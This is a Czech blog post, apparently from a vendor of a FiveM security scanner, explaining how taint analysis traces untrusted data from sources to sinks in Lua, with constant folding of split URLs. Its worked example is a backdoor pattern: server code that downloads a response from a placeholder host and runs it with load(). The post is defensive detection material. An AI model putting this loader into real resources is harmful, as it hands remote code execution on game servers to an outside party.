Taint analýza pro Lua: jak trasujeme payload z HTTP do load()
Ve zkratce
Taint analýza sleduje nedůvěryhodné hodnoty od místa, kde vstupují do programu (zdroje), k místu, kde udělají něco nebezpečného (sinky). U FiveM resources jsou zdroji HTTP odpovědi, parametry síťových eventů, čtení souborů a convary; sinky jsou load a loadstring, ExecuteCommand, skládání SQL řetězců a odchozí požadavky nesoucí tajemství. Mezi nimi analyzátor propaguje taint přes přiřazení, konkatenace, pole tabulek a volání funkcí a cestou skládá konstanty, aby se URL poskládaná z fragmentů přesto vyřešila. Nález se hlásí jen tehdy, když existuje konkrétní cesta ze zdroje do sinku — a výstupem je právě ta cesta, soubor, řádek a každý skok, protože provozovatel umí ověřit cestu a neumí ověřit skóre.
Hlavní body
- Zdroje jsou místa vstupu nedůvěryhodných dat, sinky místa, kde se stanou nebezpečnými. Nález je cesta mezi nimi.
- Propagace musí sledovat přiřazení, konkatenaci, pole tabulek a hranice funkcí, jinak reálné backdoory proklouznou.
- Constant folding porazí rozsekané URL i řetězce z kódů znaků, aniž by bylo potřeba cokoli spustit.
- Kontext manifestu rozhoduje o závažnosti: stejný vzor v nenačítaném souboru není stejný nález.
- Dodávejte cestu, ne skóre. Důkaz je to, co dělá výsledek akceschopným a vyvratitelným.
Hledání vzorů najde naivní případy. Najde load( i PerformHttpRequest a u resource, kde jsou dvanáct řádků od sebe, dá správnou odpověď. U čehokoli napsaného tak, aby se tomu vyhnul, vyprodukuje dva nesouvisející zásahy a žádný závěr. Dostat se dál vyžaduje uvažovat o hodnotách, ne o textu.
Model: zdroje, sinky, propagace
Taint analýza je jedna ze starších myšlenek statické bezpečnostní analýzy a příjemně jednoduše se popisuje. Označte hodnoty přicházející z nedůvěryhodných míst. Sledujte je, jak je program přesouvá. Ohlaste, když se některá dostane tam, kam nemá.
| Kategorie | Příklady |
|---|---|
| Zdroje | Těla odpovědí PerformHttpRequest, parametry síťových eventů, čtení souborů, hodnoty convarů, data z NUI callbacků |
| Sinky | load / loadstring, ExecuteCommand, add_ace / add_principal, SQL dotazy, těla odchozích požadavků |
| Sanitizéry | Kontroly typu, porovnání proti allow-listu, převod na číslo, parametrizované dotazy |
| Propagátory | Přiřazení, konkatenace, zápis a čtení pole tabulky, argument a návratová hodnota funkce |
Zajímavé inženýrství není v té taxonomii. Je v tom, že Lua dělá krok propagace opravdu těžkým.
Proč se tomu Lua brání
- Dynamické typování. Hodnota nemá deklarovaný typ, takže se analyzátor nemůže opřít o typový systém při omezování toho, co proměnná drží.
- Tabulky jako všechno. Objekty, pole, jmenné prostory i closury jsou tabulky, takže sledování citlivé na pole není volitelné.
- Funkce jako hodnoty. Funkce se dá uložit do tabulky, předat dál a zavolat přes proměnnou — sledovat skrz ni taint vyžaduje vyřešit cíl volání.
- Metatabulky. __index a __call umí přesměrovat operace do kódu úplně jinde.
- Vícenásobné návratové hodnoty a varargs. Jedno místo volání může propagovat taint do několika cílů naráz.
- A samozřejmě samotný load — sink je zároveň způsob, jak vytvořit nový kód, který analyzátor nikdy nenaparsoval.
Constant folding: praktická nezbytnost
Nejčastější obcházení není chytré, je aritmetické. URL rozsekaná do konkatenací, řetězec složený z kódů znaků, tabulka spojená za běhu. Nic z toho nepřežije vyhodnocení, takže analyzátor vyhodnotí, co bezpečně může.
local a = 'ht' .. 'tps://' .. 'example' .. '.test'
local b = string.char(104,116,116,112,115,58,47,47)
local c = table.concat({'https:', '', 'example.test'}, '/')Skládání je čisté vyhodnocení nad známými konstantami — žádný kód resource se nespouští a analyzátor odmítne složit cokoli, co závisí na stavu za běhu. Právě tahle hranice drží statický nástroj statickým: 'ht' .. 'tps://' spočítat umí, protože oba operandy jsou literály, a odmítne hádat, co vrátí os.date().
Rozebraný příklad
-- config.lua
Config = {}
Config.Node = 'cdn' .. '-eu' .. '.example'
Config.Path = '/v1/' .. 'sync'
-- server/telemetry.lua
local function unpackPayload(s)
return (s:gsub('%s', ''))
end
CreateThread(function()
PerformHttpRequest(
'https://' .. Config.Node .. Config.Path,
function(status, body)
if status ~= 200 then return end
local decoded = unpackPayload(body)
local chunk = load(decoded)
if chunk then chunk() end
end, 'GET')
end)- 1
Složte endpoint
Config.Node a Config.Path jsou konstantní výrazy napříč soubory, takže se cíl požadavku vyřeší na konkrétní host a cestu.
- 2
Označte zdroj
Parametr body v callbacku PerformHttpRequest je síťová odpověď. Otaintujte ho.
- 3
Propagujte skrz volání
body se předá do unpackPayload. Analyzátor sleduje argument do těla funkce, přes gsub a zpátky ven návratovou hodnotou.
- 4
Propagujte přiřazením
decoded drží vrácenou otaintovanou hodnotu.
- 5
Zásah do sinku
load(decoded) je sink dynamického načtení přijímající otaintovaná data. Cesta je kompletní.
- 6
Zvažte kontext manifestu
server/telemetry.lua je v server_scripts, takže tohle běží s přístupem k databázi a konzoli. Závažnost: kritická.
Report je ten sled, ne číslo. „config.lua:3 definuje host, server/telemetry.lua:11 přijímá odpověď, :13 ji transformuje, :14 ji spouští a tenhle soubor běží na serveru“ si provozovatel otevře v editoru a za devadesát sekund potvrdí. Ta ověřitelnost je celý produkt.
Kde pořád prohráváme
- Hluboká obfuskace. Když se každý identifikátor skládá aritmetikou za běhu, strukturální signál přežije, ale payload ne. Hlásíme strukturu a píšeme, že payload nebylo možné vyřešit.
- Agresivně používaná nepřímost přes metatabulky. Řešit řetězy __index staticky jde v jednoduchých případech a obecně je to nerozhodnutelné.
- Kód skutečně skládaný za běhu z externího vstupu — poctivá odpověď je, že ten kód do spuštění neexistuje.
- Úmysl. Analýza dokáže, že data tečou ze sítě do spuštění. Jestli jde o systém pluginů, nebo o backdoor, posoudí člověk s kontextem, který nemáme.
Pojmenovat tohle není alibi. Je to to, co dává nálezům, které hlásíme, konkrétní význam — nástroj, který nikdy neřekne „tohle jsem nedokázal vyřešit“, je nástroj, jehož čisté výsledky nenesou žádnou informaci.
Podívejte se na analýzu reálného archivuNahrajte resource a přečtěte si důkazní cestu: soubor, řádek a každý skok od zdroje k sinku.Časté dotazy
Co je taint analýza a jak odhaluje FiveM backdoory?
Taint analýza označí hodnoty přicházející z nedůvěryhodných zdrojů — HTTP odpovědi, parametry síťových eventů, čtení souborů — a sleduje je přes přiřazení, konkatenace, pole tabulek a volání funkcí, jestli se dostanou k nebezpečné operaci jako load(), ExecuteCommand nebo SQL řetězec. Když existuje konkrétní cesta ze zdroje do sinku, ta cesta je nálezem a dá se nahlásit se souborem a řádkem u každého skoku.
Proč je statická analýza Lua těžší než u jiných jazyků?
Lua je dynamicky typované, používá tabulky pro objekty, pole i jmenné prostory, bere funkce jako hodnoty, které jdou uložit a volat nepřímo, a umožňuje metatabulkám přesměrovat operace jinam. Analyzátor se proto nemůže opřít o deklarované typy při omezení toho, co proměnná drží, takže sledování citlivé na pole a na volání je povinnost, ne optimalizace.
Jak scanner prokoukne URL rozsekanou do fragmentů?
Constant foldingem. Analyzátor vyhodnotí výrazy, jejichž operandy jsou samé známé literály — konkatenace řetězců, sekvence kódů znaků, spojení tabulek — a porovnává až složený výsledek, ne zdrojový text. Kód resource nikdy nespustí a odmítne skládat cokoli závislého na stavu za běhu, čímž analýza zůstává statická.